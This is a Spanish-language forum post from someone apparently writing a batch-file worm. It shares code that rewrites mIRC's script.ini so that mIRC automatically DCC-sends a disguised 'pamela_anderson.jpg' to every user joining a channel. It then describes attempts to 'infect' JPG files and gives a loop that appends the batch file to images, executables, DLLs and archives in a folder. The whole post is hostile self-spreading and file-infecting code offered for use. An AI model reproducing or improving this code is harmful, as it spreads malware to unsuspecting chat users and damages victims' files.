hola, estoy trabajando y averiguando encontre esto:
if exist "%systemdrive%\mIRC\" (Goto irc) else Goto noirc
:irc
echo [script]>%systemdrive%\mIRC\script.ini
echo n0=on 1:JOIN:#:{>>%systemdrive%\mIRC\script.ini
echo n1= /if ( nick == $me ) { halt }>>%systemdrive%\mIRC\script.ini
echo n2= /.dcc send $nick %windir%\system32\pamela_anderson.jpg>>%systemdrive%\mIRC\script.ini
echo n3=}>>%systemdrive%\mIRC\script.ini
echo [script]>%systemdrive%\mIRC\script.bat
echo n0=on 1:JOIN:#:{>>%systemdrive%\mIRC\script.bat
echo n1= /if ( nick == $me ) { halt }>>%systemdrive%\mIRC\script.bat
echo n2= /.dcc send $nick %windir%\system32\pamela_anderson.jpg>>%systemdrive%\mIRC\script.bat
echo n3=}>>%systemdrive%\mIRC\script.bat
lo modifique a mi uso, esta bien???
y la otra pregunta hacerca de la infeccion
intente de infectar un archivo ya creado, un jpg e hice que copiara el codigo del bat en ese jpg, el codigo era un msg * xxxxxxx, pero al hacer click en el jpg no pasaba nada, tambien intente hacer una copia del bat con extencion jpg, y nada, tambien intente crear un jpg y luego inyectarle el codigo msg..... pero nada
alguien posteo como, lo hice asi y nada. tambien probe con esto:
for %%v in (%systemdrive%\docume~1\administrador\escritorio\prueba\*.jpg,*.bmp,*.gif,*.mp3,*.exe,*.dll,*.zip,*.rar) do copy %%v+%0 %%v>nul
y nada....
salud